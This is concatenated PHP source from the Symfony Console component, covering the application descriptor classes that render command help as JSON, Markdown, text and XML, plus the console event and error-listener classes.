} private function inspectApplication() { $this->commands = []; $this->namespaces = []; $all = $this->application->all($this->namespace ? $this->application->findNamespace($this->namespace) : null); foreach ($this->sortCommands($all) as $namespace => $commands) { $names = []; /** @var Command $command */ foreach ($commands as $name => $command) { if (!$command->getName() || (!$this->showHidden && $command->isHidden())) { continue; } if ($command->getName() === $name) { $this->commands[$name] = $command; } else { $this->aliases[$name] = $command; } $names[] = $name; } $this->namespaces[$namespace] = ['id' => $namespace, 'commands' => $names]; } } private function sortCommands(array $commands): array { $namespacedCommands = []; $globalCommands = []; $sortedCommands = []; foreach ($commands as $name => $command) { $key = $this->application->extractNamespace($name, 1); if (\in_array($key, ['', self::GLOBAL_NAMESPACE], true)) { $globalCommands[$name] = $command; } else { $namespacedCommands[$key][$name] = $command; } } if ($globalCommands) { ksort($globalCommands); $sortedCommands[self::GLOBAL_NAMESPACE] = $globalCommands; } if ($namespacedCommands) { ksort($namespacedCommands, \SORT_STRING); foreach ($namespacedCommands as $key => $commandsSet) { ksort($commandsSet); $sortedCommands[$key] = $commandsSet; } } return $sortedCommands; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * @author Jean-François Simon * * @internal */ abstract class Descriptor implements DescriptorInterface { /** * @var OutputInterface */ protected $output; /** * {@inheritdoc} */ public function describe(OutputInterface $output, object $object, array $options = []) { $this->output = $output; switch (true) { case $object instanceof InputArgument: $this->describeInputArgument($object, $options); break; case $object instanceof InputOption: $this->describeInputOption($object, $options); break; case $object instanceof InputDefinition: $this->describeInputDefinition($object, $options); break; case $object instanceof Command: $this->describeCommand($object, $options); break; case $object instanceof Application: $this->describeApplication($object, $options); break; default: throw new InvalidArgumentException(sprintf('Object of type "%s" is not describable.', get_debug_type($object))); } } /** * Writes content to output. */ protected function write(string $content, bool $decorated = false) { $this->output->write($content, false, $decorated ? OutputInterface::OUTPUT_NORMAL : OutputInterface::OUTPUT_RAW); } /** * Describes an InputArgument instance. */ abstract protected function describeInputArgument(InputArgument $argument, array $options = []); /** * Describes an InputOption instance. */ abstract protected function describeInputOption(InputOption $option, array $options = []); /** * Describes an InputDefinition instance. */ abstract protected function describeInputDefinition(InputDefinition $definition, array $options = []); /** * Describes a Command instance. */ abstract protected function describeCommand(Command $command, array $options = []); /** * Describes an Application instance. */ abstract protected function describeApplication(Application $application, array $options = []); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Output\OutputInterface; /** * Descriptor interface. * * @author Jean-François Simon */ interface DescriptorInterface { public function describe(OutputInterface $output, object $object, array $options = []); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * JSON descriptor. * * @author Jean-François Simon * * @internal */ class JsonDescriptor extends Descriptor { /** * {@inheritdoc} */ protected function describeInputArgument(InputArgument $argument, array $options = []) { $this->writeData($this->getInputArgumentData($argument), $options); } /** * {@inheritdoc} */ protected function describeInputOption(InputOption $option, array $options = []) { $this->writeData($this->getInputOptionData($option), $options); if ($option->isNegatable()) { $this->writeData($this->getInputOptionData($option, true), $options); } } /** * {@inheritdoc} */ protected function describeInputDefinition(InputDefinition $definition, array $options = []) { $this->writeData($this->getInputDefinitionData($definition), $options); } /** * {@inheritdoc} */ protected function describeCommand(Command $command, array $options = []) { $this->writeData($this->getCommandData($command, $options['short'] ?? false), $options); } /** * {@inheritdoc} */ protected function describeApplication(Application $application, array $options = []) { $describedNamespace = $options['namespace'] ?? null; $description = new ApplicationDescription($application, $describedNamespace, true); $commands = []; foreach ($description->getCommands() as $command) { $commands[] = $this->getCommandData($command, $options['short'] ?? false); } $data = []; if ('UNKNOWN' !== $application->getName()) { $data['application']['name'] = $application->getName(); if ('UNKNOWN' !== $application->getVersion()) { $data['application']['version'] = $application->getVersion(); } } $data['commands'] = $commands; if ($describedNamespace) { $data['namespace'] = $describedNamespace; } else { $data['namespaces'] = array_values($description->getNamespaces()); } $this->writeData($data, $options); } /** * Writes data as json. */ private function writeData(array $data, array $options) { $flags = $options['json_encoding'] ?? 0; $this->write(json_encode($data, $flags)); } private function getInputArgumentData(InputArgument $argument): array { return [ 'name' => $argument->getName(), 'is_required' => $argument->isRequired(), 'is_array' => $argument->isArray(), 'description' => preg_replace('/\s*[\r\n]\s*/', ' ', $argument->getDescription()), 'default' => \INF === $argument->getDefault() ? 'INF' : $argument->getDefault(), ]; } private function getInputOptionData(InputOption $option, bool $negated = false): array { return $negated ? [ 'name' => '--no-'.$option->getName(), 'shortcut' => '', 'accept_value' => false, 'is_value_required' => false, 'is_multiple' => false, 'description' => 'Negate the "--'.$option->getName().'" option', 'default' => false, ] : [ 'name' => '--'.$option->getName(), 'shortcut' => $option->getShortcut() ? '-'.str_replace('|', '|-', $option->getShortcut()) : '', 'accept_value' => $option->acceptValue(), 'is_value_required' => $option->isValueRequired(), 'is_multiple' => $option->isArray(), 'description' => preg_replace('/\s*[\r\n]\s*/', ' ', $option->getDescription()), 'default' => \INF === $option->getDefault() ? 'INF' : $option->getDefault(), ]; } private function getInputDefinitionData(InputDefinition $definition): array { $inputArguments = []; foreach ($definition->getArguments() as $name => $argument) { $inputArguments[$name] = $this->getInputArgumentData($argument); } $inputOptions = []; foreach ($definition->getOptions() as $name => $option) { $inputOptions[$name] = $this->getInputOptionData($option); if ($option->isNegatable()) { $inputOptions['no-'.$name] = $this->getInputOptionData($option, true); } } return ['arguments' => $inputArguments, 'options' => $inputOptions]; } private function getCommandData(Command $command, bool $short = false): array { $data = [ 'name' => $command->getName(), 'description' => $command->getDescription(), ]; if ($short) { $data += [ 'usage' => $command->getAliases(), ]; } else { $command->mergeApplicationDefinition(false); $data += [ 'usage' => array_merge([$command->getSynopsis()], $command->getUsages(), $command->getAliases()), 'help' => $command->getProcessedHelp(), 'definition' => $this->getInputDefinitionData($command->getDefinition()), ]; } $data['hidden'] = $command->isHidden(); return $data; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Markdown descriptor. * * @author Jean-François Simon * * @internal */ class MarkdownDescriptor extends Descriptor { /** * {@inheritdoc} */ public function describe(OutputInterface $output, object $object, array $options = []) { $decorated = $output->isDecorated(); $output->setDecorated(false); parent::describe($output, $object, $options); $output->setDecorated($decorated); } /** * {@inheritdoc} */ protected function write(string $content, bool $decorated = true) { parent::write($content, $decorated); } /** * {@inheritdoc} */ protected function describeInputArgument(InputArgument $argument, array $options = []) { $this->write( '#### `'.($argument->getName() ?: '')."`\n\n" .($argument->getDescription() ? preg_replace('/\s*[\r\n]\s*/', "\n", $argument->getDescription())."\n\n" : '') .'* Is required: '.($argument->isRequired() ? 'yes' : 'no')."\n" .'* Is array: '.($argument->isArray() ? 'yes' : 'no')."\n" .'* Default: `'.str_replace("\n", '', var_export($argument->getDefault(), true)).'`' ); } /** * {@inheritdoc} */ protected function describeInputOption(InputOption $option, array $options = []) { $name = '--'.$option->getName(); if ($option->isNegatable()) { $name .= '|--no-'.$option->getName(); } if ($option->getShortcut()) { $name .= '|-'.str_replace('|', '|-', $option->getShortcut()).''; } $this->write( '#### `'.$name.'`'."\n\n" .($option->getDescription() ? preg_replace('/\s*[\r\n]\s*/', "\n", $option->getDescription())."\n\n" : '') .'* Accept value: '.($option->acceptValue() ? 'yes' : 'no')."\n" .'* Is value required: '.($option->isValueRequired() ? 'yes' : 'no')."\n" .'* Is multiple: '.($option->isArray() ? 'yes' : 'no')."\n" .'* Is negatable: '.($option->isNegatable() ? 'yes' : 'no')."\n" .'* Default: `'.str_replace("\n", '', var_export($option->getDefault(), true)).'`' ); } /** * {@inheritdoc} */ protected function describeInputDefinition(InputDefinition $definition, array $options = []) { if ($showArguments = \count($definition->getArguments()) > 0) { $this->write('### Arguments'); foreach ($definition->getArguments() as $argument) { $this->write("\n\n"); if (null !== $describeInputArgument = $this->describeInputArgument($argument)) { $this->write($describeInputArgument); } } } if (\count($definition->getOptions()) > 0) { if ($showArguments) { $this->write("\n\n"); } $this->write('### Options'); foreach ($definition->getOptions() as $option) { $this->write("\n\n"); if (null !== $describeInputOption = $this->describeInputOption($option)) { $this->write($describeInputOption); } } } } /** * {@inheritdoc} */ protected function describeCommand(Command $command, array $options = []) { if ($options['short'] ?? false) { $this->write( '`'.$command->getName()."`\n" .str_repeat('-', Helper::width($command->getName()) + 2)."\n\n" .($command->getDescription() ? $command->getDescription()."\n\n" : '') .'### Usage'."\n\n" .array_reduce($command->getAliases(), function ($carry, $usage) { return $carry.'* `'.$usage.'`'."\n"; }) ); return; } $command->mergeApplicationDefinition(false); $this->write( '`'.$command->getName()."`\n" .str_repeat('-', Helper::width($command->getName()) + 2)."\n\n" .($command->getDescription() ? $command->getDescription()."\n\n" : '') .'### Usage'."\n\n" .array_reduce(array_merge([$command->getSynopsis()], $command->getAliases(), $command->getUsages()), function ($carry, $usage) { return $carry.'* `'.$usage.'`'."\n"; }) ); if ($help = $command->getProcessedHelp()) { $this->write("\n"); $this->write($help); } $definition = $command->getDefinition(); if ($definition->getOptions() || $definition->getArguments()) { $this->write("\n\n"); $this->describeInputDefinition($definition); } } /** * {@inheritdoc} */ protected function describeApplication(Application $application, array $options = []) { $describedNamespace = $options['namespace'] ?? null; $description = new ApplicationDescription($application, $describedNamespace); $title = $this->getApplicationTitle($application); $this->write($title."\n".str_repeat('=', Helper::width($title))); foreach ($description->getNamespaces() as $namespace) { if (ApplicationDescription::GLOBAL_NAMESPACE !== $namespace['id']) { $this->write("\n\n"); $this->write('**'.$namespace['id'].':**'); } $this->write("\n\n"); $this->write(implode("\n", array_map(function ($commandName) use ($description) { return sprintf('* [`%s`](#%s)', $commandName, str_replace(':', '', $description->getCommand($commandName)->getName())); }, $namespace['commands']))); } foreach ($description->getCommands() as $command) { $this->write("\n\n"); if (null !== $describeCommand = $this->describeCommand($command, $options)) { $this->write($describeCommand); } } } private function getApplicationTitle(Application $application): string { if ('UNKNOWN' !== $application->getName()) { if ('UNKNOWN' !== $application->getVersion()) { return sprintf('%s %s', $application->getName(), $application->getVersion()); } return $application->getName(); } return 'Console Tool'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * Text descriptor. * * @author Jean-François Simon * * @internal */ class TextDescriptor extends Descriptor { /** * {@inheritdoc} */ protected function describeInputArgument(InputArgument $argument, array $options = []) { if (null !== $argument->getDefault() && (!\is_array($argument->getDefault()) || \count($argument->getDefault()))) { $default = sprintf(' [default: %s]', $this->formatDefaultValue($argument->getDefault())); } else { $default = ''; } $totalWidth = $options['total_width'] ?? Helper::width($argument->getName()); $spacingWidth = $totalWidth - \strlen($argument->getName()); $this->writeText(sprintf(' %s %s%s%s', $argument->getName(), str_repeat(' ', $spacingWidth), // + 4 = 2 spaces before , 2 spaces after preg_replace('/\s*[\r\n]\s*/', "\n".str_repeat(' ', $totalWidth + 4), $argument->getDescription()), $default ), $options); } /** * {@inheritdoc} */ protected function describeInputOption(InputOption $option, array $options = []) { if ($option->acceptValue() && null !== $option->getDefault() && (!\is_array($option->getDefault()) || \count($option->getDefault()))) { $default = sprintf(' [default: %s]', $this->formatDefaultValue($option->getDefault())); } else { $default = ''; } $value = ''; if ($option->acceptValue()) { $value = '='.strtoupper($option->getName()); if ($option->isValueOptional()) { $value = '['.$value.']'; } } $totalWidth = $options['total_width'] ?? $this->calculateTotalWidthForOptions([$option]); $synopsis = sprintf('%s%s', $option->getShortcut() ? sprintf('-%s, ', $option->getShortcut()) : ' ', sprintf($option->isNegatable() ? '--%1$s|--no-%1$s' : '--%1$s%2$s', $option->getName(), $value) ); $spacingWidth = $totalWidth - Helper::width($synopsis); $this->writeText(sprintf(' %s %s%s%s%s', $synopsis, str_repeat(' ', $spacingWidth), // + 4 = 2 spaces before , 2 spaces after preg_replace('/\s*[\r\n]\s*/', "\n".str_repeat(' ', $totalWidth + 4), $option->getDescription()), $default, $option->isArray() ? ' (multiple values allowed)' : '' ), $options); } /** * {@inheritdoc} */ protected function describeInputDefinition(InputDefinition $definition, array $options = []) { $totalWidth = $this->calculateTotalWidthForOptions($definition->getOptions()); foreach ($definition->getArguments() as $argument) { $totalWidth = max($totalWidth, Helper::width($argument->getName())); } if ($definition->getArguments()) { $this->writeText('Arguments:', $options); $this->writeText("\n"); foreach ($definition->getArguments() as $argument) { $this->describeInputArgument($argument, array_merge($options, ['total_width' => $totalWidth])); $this->writeText("\n"); } } if ($definition->getArguments() && $definition->getOptions()) { $this->writeText("\n"); } if ($definition->getOptions()) { $laterOptions = []; $this->writeText('Options:', $options); foreach ($definition->getOptions() as $option) { if (\strlen($option->getShortcut() ?? '') > 1) { $laterOptions[] = $option; continue; } $this->writeText("\n"); $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); } foreach ($laterOptions as $option) { $this->writeText("\n"); $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); } } } /** * {@inheritdoc} */ protected function describeCommand(Command $command, array $options = []) { $command->mergeApplicationDefinition(false); if ($description = $command->getDescription()) { $this->writeText('Description:', $options); $this->writeText("\n"); $this->writeText(' '.$description); $this->writeText("\n\n"); } $this->writeText('Usage:', $options); foreach (array_merge([$command->getSynopsis(true)], $command->getAliases(), $command->getUsages()) as $usage) { $this->writeText("\n"); $this->writeText(' '.OutputFormatter::escape($usage), $options); } $this->writeText("\n"); $definition = $command->getDefinition(); if ($definition->getOptions() || $definition->getArguments()) { $this->writeText("\n"); $this->describeInputDefinition($definition, $options); $this->writeText("\n"); } $help = $command->getProcessedHelp(); if ($help && $help !== $description) { $this->writeText("\n"); $this->writeText('Help:', $options); $this->writeText("\n"); $this->writeText(' '.str_replace("\n", "\n ", $help), $options); $this->writeText("\n"); } } /** * {@inheritdoc} */ protected function describeApplication(Application $application, array $options = []) { $describedNamespace = $options['namespace'] ?? null; $description = new ApplicationDescription($application, $describedNamespace); if (isset($options['raw_text']) && $options['raw_text']) { $width = $this->getColumnWidth($description->getCommands()); foreach ($description->getCommands() as $command) { $this->writeText(sprintf("%-{$width}s %s", $command->getName(), $command->getDescription()), $options); $this->writeText("\n"); } } else { if ('' != $help = $application->getHelp()) { $this->writeText("$help\n\n", $options); } $this->writeText("Usage:\n", $options); $this->writeText(" command [options] [arguments]\n\n", $options); $this->describeInputDefinition(new InputDefinition($application->getDefinition()->getOptions()), $options); $this->writeText("\n"); $this->writeText("\n"); $commands = $description->getCommands(); $namespaces = $description->getNamespaces(); if ($describedNamespace && $namespaces) { // make sure all alias commands are included when describing a specific namespace $describedNamespaceInfo = reset($namespaces); foreach ($describedNamespaceInfo['commands'] as $name) { $commands[$name] = $description->getCommand($name); } } // calculate max. width based on available commands per namespace $width = $this->getColumnWidth(array_merge(...array_values(array_map(function ($namespace) use ($commands) { return array_intersect($namespace['commands'], array_keys($commands)); }, array_values($namespaces))))); if ($describedNamespace) { $this->writeText(sprintf('Available commands for the "%s" namespace:', $describedNamespace), $options); } else { $this->writeText('Available commands:', $options); } foreach ($namespaces as $namespace) { $namespace['commands'] = array_filter($namespace['commands'], function ($name) use ($commands) { return isset($commands[$name]); }); if (!$namespace['commands']) { continue; } if (!$describedNamespace && ApplicationDescription::GLOBAL_NAMESPACE !== $namespace['id']) { $this->writeText("\n"); $this->writeText(' '.$namespace['id'].'', $options); } foreach ($namespace['commands'] as $name) { $this->writeText("\n"); $spacingWidth = $width - Helper::width($name); $command = $commands[$name]; $commandAliases = $name === $command->getName() ? $this->getCommandAliasesText($command) : ''; $this->writeText(sprintf(' %s%s%s', $name, str_repeat(' ', $spacingWidth), $commandAliases.$command->getDescription()), $options); } } $this->writeText("\n"); } } /** * {@inheritdoc} */ private function writeText(string $content, array $options = []) { $this->write( isset($options['raw_text']) && $options['raw_text'] ? strip_tags($content) : $content, isset($options['raw_output']) ? !$options['raw_output'] : true ); } /** * Formats command aliases to show them in the command description. */ private function getCommandAliasesText(Command $command): string { $text = ''; $aliases = $command->getAliases(); if ($aliases) { $text = '['.implode('|', $aliases).'] '; } return $text; } /** * Formats input option/argument default value. * * @param mixed $default */ private function formatDefaultValue($default): string { if (\INF === $default) { return 'INF'; } if (\is_string($default)) { $default = OutputFormatter::escape($default); } elseif (\is_array($default)) { foreach ($default as $key => $value) { if (\is_string($value)) { $default[$key] = OutputFormatter::escape($value); } } } return str_replace('\\\\', '\\', json_encode($default, \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE)); } /** * @param array $commands */ private function getColumnWidth(array $commands): int { $widths = []; foreach ($commands as $command) { if ($command instanceof Command) { $widths[] = Helper::width($command->getName()); foreach ($command->getAliases() as $alias) { $widths[] = Helper::width($alias); } } else { $widths[] = Helper::width($command); } } return $widths ? max($widths) + 2 : 0; } /** * @param InputOption[] $options */ private function calculateTotalWidthForOptions(array $options): int { $totalWidth = 0; foreach ($options as $option) { // "-" + shortcut + ", --" + name $nameLength = 1 + max(Helper::width($option->getShortcut()), 1) + 4 + Helper::width($option->getName()); if ($option->isNegatable()) { $nameLength += 6 + Helper::width($option->getName()); // |--no- + name } elseif ($option->acceptValue()) { $valueLength = 1 + Helper::width($option->getName()); // = + value $valueLength += $option->isValueOptional() ? 2 : 0; // [ + ] $nameLength += $valueLength; } $totalWidth = max($totalWidth, $nameLength); } return $totalWidth; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * XML descriptor. * * @author Jean-François Simon * * @internal */ class XmlDescriptor extends Descriptor { public function getInputDefinitionDocument(InputDefinition $definition): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($definitionXML = $dom->createElement('definition')); $definitionXML->appendChild($argumentsXML = $dom->createElement('arguments')); foreach ($definition->getArguments() as $argument) { $this->appendDocument($argumentsXML, $this->getInputArgumentDocument($argument)); } $definitionXML->appendChild($optionsXML = $dom->createElement('options')); foreach ($definition->getOptions() as $option) { $this->appendDocument($optionsXML, $this->getInputOptionDocument($option)); } return $dom; } public function getCommandDocument(Command $command, bool $short = false): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($commandXML = $dom->createElement('command')); $commandXML->setAttribute('id', $command->getName()); $commandXML->setAttribute('name', $command->getName()); $commandXML->setAttribute('hidden', $command->isHidden() ? 1 : 0); $commandXML->appendChild($usagesXML = $dom->createElement('usages')); $commandXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode(str_replace("\n", "\n ", $command->getDescription()))); if ($short) { foreach ($command->getAliases() as $usage) { $usagesXML->appendChild($dom->createElement('usage', $usage)); } } else { $command->mergeApplicationDefinition(false); foreach (array_merge([$command->getSynopsis()], $command->getAliases(), $command->getUsages()) as $usage) { $usagesXML->appendChild($dom->createElement('usage', $usage)); } $commandXML->appendChild($helpXML = $dom->createElement('help')); $helpXML->appendChild($dom->createTextNode(str_replace("\n", "\n ", $command->getProcessedHelp()))); $definitionXML = $this->getInputDefinitionDocument($command->getDefinition()); $this->appendDocument($commandXML, $definitionXML->getElementsByTagName('definition')->item(0)); } return $dom; } public function getApplicationDocument(Application $application, ?string $namespace = null, bool $short = false): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($rootXml = $dom->createElement('symfony')); if ('UNKNOWN' !== $application->getName()) { $rootXml->setAttribute('name', $application->getName()); if ('UNKNOWN' !== $application->getVersion()) { $rootXml->setAttribute('version', $application->getVersion()); } } $rootXml->appendChild($commandsXML = $dom->createElement('commands')); $description = new ApplicationDescription($application, $namespace, true); if ($namespace) { $commandsXML->setAttribute('namespace', $namespace); } foreach ($description->getCommands() as $command) { $this->appendDocument($commandsXML, $this->getCommandDocument($command, $short)); } if (!$namespace) { $rootXml->appendChild($namespacesXML = $dom->createElement('namespaces')); foreach ($description->getNamespaces() as $namespaceDescription) { $namespacesXML->appendChild($namespaceArrayXML = $dom->createElement('namespace')); $namespaceArrayXML->setAttribute('id', $namespaceDescription['id']); foreach ($namespaceDescription['commands'] as $name) { $namespaceArrayXML->appendChild($commandXML = $dom->createElement('command')); $commandXML->appendChild($dom->createTextNode($name)); } } } return $dom; } /** * {@inheritdoc} */ protected function describeInputArgument(InputArgument $argument, array $options = []) { $this->writeDocument($this->getInputArgumentDocument($argument)); } /** * {@inheritdoc} */ protected function describeInputOption(InputOption $option, array $options = []) { $this->writeDocument($this->getInputOptionDocument($option)); } /** * {@inheritdoc} */ protected function describeInputDefinition(InputDefinition $definition, array $options = []) { $this->writeDocument($this->getInputDefinitionDocument($definition)); } /** * {@inheritdoc} */ protected function describeCommand(Command $command, array $options = []) { $this->writeDocument($this->getCommandDocument($command, $options['short'] ?? false)); } /** * {@inheritdoc} */ protected function describeApplication(Application $application, array $options = []) { $this->writeDocument($this->getApplicationDocument($application, $options['namespace'] ?? null, $options['short'] ?? false)); } /** * Appends document children to parent node. */ private function appendDocument(\DOMNode $parentNode, \DOMNode $importedParent) { foreach ($importedParent->childNodes as $childNode) { $parentNode->appendChild($parentNode->ownerDocument->importNode($childNode, true)); } } /** * Writes DOM document. */ private function writeDocument(\DOMDocument $dom) { $dom->formatOutput = true; $this->write($dom->saveXML()); } private function getInputArgumentDocument(InputArgument $argument): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($objectXML = $dom->createElement('argument')); $objectXML->setAttribute('name', $argument->getName()); $objectXML->setAttribute('is_required', $argument->isRequired() ? 1 : 0); $objectXML->setAttribute('is_array', $argument->isArray() ? 1 : 0); $objectXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode($argument->getDescription())); $objectXML->appendChild($defaultsXML = $dom->createElement('defaults')); $defaults = \is_array($argument->getDefault()) ? $argument->getDefault() : (\is_bool($argument->getDefault()) ? [var_export($argument->getDefault(), true)] : ($argument->getDefault() ? [$argument->getDefault()] : [])); foreach ($defaults as $default) { $defaultsXML->appendChild($defaultXML = $dom->createElement('default')); $defaultXML->appendChild($dom->createTextNode($default)); } return $dom; } private function getInputOptionDocument(InputOption $option): \DOMDocument { $dom = new \DOMDocument('1.0', 'UTF-8'); $dom->appendChild($objectXML = $dom->createElement('option')); $objectXML->setAttribute('name', '--'.$option->getName()); $pos = strpos($option->getShortcut() ?? '', '|'); if (false !== $pos) { $objectXML->setAttribute('shortcut', '-'.substr($option->getShortcut(), 0, $pos)); $objectXML->setAttribute('shortcuts', '-'.str_replace('|', '|-', $option->getShortcut())); } else { $objectXML->setAttribute('shortcut', $option->getShortcut() ? '-'.$option->getShortcut() : ''); } $objectXML->setAttribute('accept_value', $option->acceptValue() ? 1 : 0); $objectXML->setAttribute('is_value_required', $option->isValueRequired() ? 1 : 0); $objectXML->setAttribute('is_multiple', $option->isArray() ? 1 : 0); $objectXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode($option->getDescription())); if ($option->acceptValue()) { $defaults = \is_array($option->getDefault()) ? $option->getDefault() : (\is_bool($option->getDefault()) ? [var_export($option->getDefault(), true)] : ($option->getDefault() ? [$option->getDefault()] : [])); $objectXML->appendChild($defaultsXML = $dom->createElement('defaults')); if (!empty($defaults)) { foreach ($defaults as $default) { $defaultsXML->appendChild($defaultXML = $dom->createElement('default')); $defaultXML->appendChild($dom->createTextNode($default)); } } } if ($option->isNegatable()) { $dom->appendChild($objectXML = $dom->createElement('option')); $objectXML->setAttribute('name', '--no-'.$option->getName()); $objectXML->setAttribute('shortcut', ''); $objectXML->setAttribute('accept_value', 0); $objectXML->setAttribute('is_value_required', 0); $objectXML->setAttribute('is_multiple', 0); $objectXML->appendChild($descriptionXML = $dom->createElement('description')); $descriptionXML->appendChild($dom->createTextNode('Negate the "--'.$option->getName().'" option')); } return $dom; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; /** * Allows to do things before the command is executed, like skipping the command or executing code before the command is * going to be executed. * * Changing the input arguments will have no effect. * * @author Fabien Potencier */ final class ConsoleCommandEvent extends ConsoleEvent { /** * The return code for skipped commands, this will also be passed into the terminate event. */ public const RETURN_CODE_DISABLED = 113; /** * Indicates if the command should be run or skipped. */ private $commandShouldRun = true; /** * Disables the command, so it won't be run. */ public function disableCommand(): bool { return $this->commandShouldRun = false; } public function enableCommand(): bool { return $this->commandShouldRun = true; } /** * Returns true if the command is runnable, false otherwise. */ public function commandShouldRun(): bool { return $this->commandShouldRun; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Allows to handle throwables thrown while running a command. * * @author Wouter de Jong */ final class ConsoleErrorEvent extends ConsoleEvent { private $error; private $exitCode; public function __construct(InputInterface $input, OutputInterface $output, \Throwable $error, ?Command $command = null) { parent::__construct($command, $input, $output); $this->error = $error; } public function getError(): \Throwable { return $this->error; } public function setError(\Throwable $error): void { $this->error = $error; } public function setExitCode(int $exitCode): void { $this->exitCode = $exitCode; $r = new \ReflectionProperty($this->error, 'code'); $r->setAccessible(true); $r->setValue($this->error, $this->exitCode); } public function getExitCode(): int { return $this->exitCode ?? (\is_int($this->error->getCode()) && 0 !== $this->error->getCode() ? $this->error->getCode() : 1); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Contracts\EventDispatcher\Event; /** * Allows to inspect input and output of a command. * * @author Francesco Levorato */ class ConsoleEvent extends Event { protected $command; private $input; private $output; public function __construct(?Command $command, InputInterface $input, OutputInterface $output) { $this->command = $command; $this->input = $input; $this->output = $output; } /** * Gets the command that is executed. * * @return Command|null */ public function getCommand() { return $this->command; } /** * Gets the input instance. * * @return InputInterface */ public function getInput() { return $this->input; } /** * Gets the output instance. * * @return OutputInterface */ public function getOutput() { return $this->output; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @author marie */ final class ConsoleSignalEvent extends ConsoleEvent { private $handlingSignal; public function __construct(Command $command, InputInterface $input, OutputInterface $output, int $handlingSignal) { parent::__construct($command, $input, $output); $this->handlingSignal = $handlingSignal; } public function getHandlingSignal(): int { return $this->handlingSignal; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Allows to manipulate the exit code of a command after its execution. * * @author Francesco Levorato */ final class ConsoleTerminateEvent extends ConsoleEvent { private $exitCode; public function __construct(Command $command, InputInterface $input, OutputInterface $output, int $exitCode) { parent::__construct($command, $input, $output); $this->setExitCode($exitCode); } public function setExitCode(int $exitCode): void { $this->exitCode = $exitCode; } public function getExitCode(): int { return $this->exitCode; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\EventListener; use Psr\Log\LoggerInterface; use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\Console\Event\ConsoleErrorEvent; use Symfony\Component\Console\Event\ConsoleEvent; use Symfony\Component\Console\Event\ConsoleTerminateEvent; use Symfony\Component\EventDispatcher\EventSubscriberInterface; /** * @author James Halsall * @author Robin Chalas */ class ErrorListener implements EventSubscriberInterface { private $logger; public function __construct(?LoggerInterface $logger = null) { $this->logger = $logger; } public function onConsoleError(ConsoleErrorEvent $event) { if (null === $this->logger) { return; } $error = $event->getError(); if (!$inputString = $this->getInputString($event)) { $this->logger->critical('An error occurred while using the console. Message: "{message}"', ['exception' => $error, 'message' => $error->getMessage()]); return; } $this->logger->critical('Error thrown while running command "{command}". Message: "{message}"', ['exception' => $error, 'command' => $inputString, 'message' => $error->getMessage()]); } public function onConsoleTerminate(ConsoleTerminateEvent $event) { if (null === $this->logger) { return; } $exitCode = $event->getExitCode(); if (0 === $exitCode) { return; } if (!$inputString = $this->getInputString($event)) { $this->logger->debug('The console exited with code "{code}"', ['code' => $exitCode]); return; } $this->logger->debug('Command "{command}" exited with code "{code}"', ['command' => $inputString, 'code' => $exitCode]); } 